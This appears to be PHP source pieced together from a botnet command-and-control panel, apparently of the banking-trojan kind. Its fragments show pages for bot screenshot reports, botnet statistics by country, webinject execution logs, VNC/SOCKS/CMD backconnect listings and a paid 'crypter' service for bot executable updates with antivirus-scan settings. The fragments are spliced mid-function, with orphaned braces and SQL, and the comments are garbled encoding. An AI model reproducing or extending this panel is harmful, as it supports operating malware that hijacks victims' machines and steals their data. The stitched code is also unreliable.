function actionIndex($botId = null)
    {
        ThemeBegin(LNG_MM_REPORTS_IMAGES, 0, getBotJsMenu('botmenu'), 0);
        $onfinish = '?m=reports_images/ajaxGallery/';
        $onfinish .= '&date=' . date('Y-m-d');
        if (!empty($botId)) {
            $onfinish .= '&botId=' . rawurlencode($botId);
        }
        echo '<div id="preparing" style="display: none;" data-onfinish="', $onfinish, '">', LNG_UPDATING_DATABASE, '<img src="theme/throbber.gif" />', '</div>';
        echo <<<HTML
\t\t<h2 align=right id="date-sort"><a href="{$onfinish}&feedMode=0">Sort:Date</a></h2>

\t\t<div id="gallery"></div>

\t\t<script src="theme/video/colorbox/colorbox/jquery.colorbox-min.js"></script>
\t\t<link rel="stylesheet" href="theme/video/colorbox/example1/colorbox.css" type="text/css" media="screen">

\t\t<script src="theme/js/page-reports_images.js"></script>

\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css" type="text/css" media="screen">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css" type="text/css" media="screen">
HTML;
        ThemeEnd();
    }
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
$actionList = '';
if (!empty($userData['r_stats_main_reset'])) {
    $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&amp;reset_newbots&amp;botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE);
}
$output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList;
//RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °.
if (CURRENT_BOTNET != '') {
    $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
}
//R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ.
$commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : '';
$output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
ThemeBegin(LNG_STATS, 0, 0, 0);
echo $output;
ThemeEnd();
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// P ¤ † SѓRЅRєS ReRe.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
/*
  Создание информации по ботнету.
  
  IN $botnet - string, название ботнета.
  IN  $i     - int, счетчик номера строки.
  
  Return    - string, часть таблицы.
*/
function getBotnetStats($botnet, $i)
{
    $query1 = '';
    $query2 = '';
    /** Execution logs list page
     * @param int $page
     */
    function actionExecLogs($page = 1)
    {
        ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0);
        $PAGER = new Paginator($page, 50);
        $q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS
			    `b`.`bid`,
			    `b`.`name` AS `b_name`,
			    `b`.`mtime` AS `b_mtime`,
			    `h`.`botId`,
			    `h`.`etime`,
			    `h`.`exec_count`,
			    `h`.`exec_error`,
			    `h`.`debug_error`
			 FROM `botnet_webinjects_history` `h`
			    LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
			 ORDER BY
			    `h`.`etime` IS NULL DESC,
			    `b`.`mtime` DESC,
			    `h`.`etime` DESC
			 LIMIT :limit, :perpage
			 ;');
        $PAGER->pdo_limit($q_logs, ':limit', ':perpage');
        $q_logs->execute();
        $PAGER->total($this->db->found_rows());
        echo '<table id="exec-logs" class="zebra lined">';
        echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>';
        echo '<TBODY>';
        while ($log = $q_logs->fetchObject()) {
            $state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error);
            switch ($state) {
                case '111':
                    $state_text = 'pending';
                    break;
                case '011':
                    $state_text = 'success';
                    break;
                case '001':
                    $state_text = 'exec error';
                    break;
                case '010':
                    $state_text = 'bot error';
                    break;
                default:
                    $state_text = '???';
                    break;
            }
            echo '<tr class="state' . $state . '">';
            echo '<th>', htmlentities($log->botId), '</th>';
            echo '<td>', htmlentities($log->b_name), '</td>';
            echo '<td>', $state_text, '</td>';
            # Exec count
            echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>';
            # Exec time
            echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>';
            # Exec error
            echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>';
            # Debug error
            echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>';
            echo '</tr>';
        }
        echo '</TBODY>';
        echo '</table>';
        echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator');
        echo <<<HTML
\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css">
HTML;
        ThemeEnd();
    }
        } else {
            echo LNG_BOTS_LIST_STATUS_WAITING;
        }
        # last time was online
        echo ' ', LNG_BOTS_LIST_STATUS_OFFLINE_SINCE, ' ', date_short($r['bot_rtime_last']);
    }
    if ($r['do_connect'] < 0) {
        echo '<br><b>', LNG_BOTS_LIST_STATUS_AUTOCONNECT;
    }
    echo '</td>';
    echo '<td>';
    # VNC|SOCKS|CMD + ip:port
    echo $PROTOCOLS[$r['protocol']];
    if ($r['my_port'] != 0) {
        echo ': ', $GLOBALS['config']['vnc_server'], ':', $r['my_port'];
    }
    '</td>';
    echo '</tr>';
}
echo '</TBODY>';
echo '</table>';
echo '<div align=center>', LNG_HINT_CONTEXT_MENU, '</div>';
echo '</td></tr>';
echo <<<HTML
<link rel="stylesheet" href="theme/js/contextMenu/src/jquery.contextMenu.css" />
<script src="theme/js/contextMenu/src/jquery.contextMenu.js"></script>
<script src="theme/js/contextMenu/src/jquery.ui.position.js"></script>
<script src="theme/js/page-botnet_vnc.js"></script>
HTML;
echo THEME_DIALOG_END, ThemeEnd();
\tFROM `exe_updates_crypter` `h`
\t\tLEFT JOIN `exe_updates` `f` ON(`f`.`id` = `h`.`file_id`)
\tWHERE `h`.`file_id` IN ({$files_ids}) 
\tORDER BY `h`.`ctime` DESC
\tLIMIT 50;
SQL
);
/* Display */
echo str_replace(array('{WIDTH}', '{COLUMNS_COUNT}', '{TEXT}'), array('100%', 1, LNG_DIV_HISTORY), THEME_LIST_BEGIN . THEME_LIST_TITLE);
if (!empty($userData['r_svc_crypter_pay']) && isset($GLOBALS['config']['scan4you_jid']) && strpos($GLOBALS['config']['scan4you_jid'], ',') === FALSE) {
    echo '<tr><td>', LNG_HINT_JABBERS, '</td></tr>';
}
echo '<tr><td><table id="crypter-history">';
echo '<THEAD><tr>', '<th>', LNG_DIV_HISTORY_FILENAME, '</th>', '<th>', LNG_DIV_HISTORY_DATE, '</th>', '<th>', LNG_DIV_HISTORY_PAID, '</th>', '</tr></THEAD>';
echo '<TBODY>';
while ($R && !is_bool($r = mysql_fetch_assoc($R))) {
    echo '<tr>';
    echo '<td>', '<span title="', $r['hash'], '">', $r['file'], '</td>';
    echo '<td>', date_short($r['ctime']), '</td>';
    $dt = is_null($r['paid_date']) ? null : date_short($r['paid_date']);
    if (empty($userData['r_svc_crypter_pay'])) {
        echo '<td>', is_null($dt) ? '<b>X</b>' : $dt, '</td>';
    } else {
        echo '<td>', is_null($dt) ? '<a href="?m=svc_crypter&ajax=pay&id=' . $r['id'] . '" class="ajax_replace">' . LNG_DIV_HISTORY_PAY . '</a>' : '<a href="?m=svc_crypter&ajax=unpay&id=' . $r['id'] . '" class="ajax_replace">' . $dt . '</a>', '</td>';
    }
    echo '</tr>';
}
echo '</TBODY></table></tr>';
echo THEME_LIST_END . THEME_STRING_NEWLINE;
echo '</td></tr>', THEME_DIALOG_END, ThemeEnd();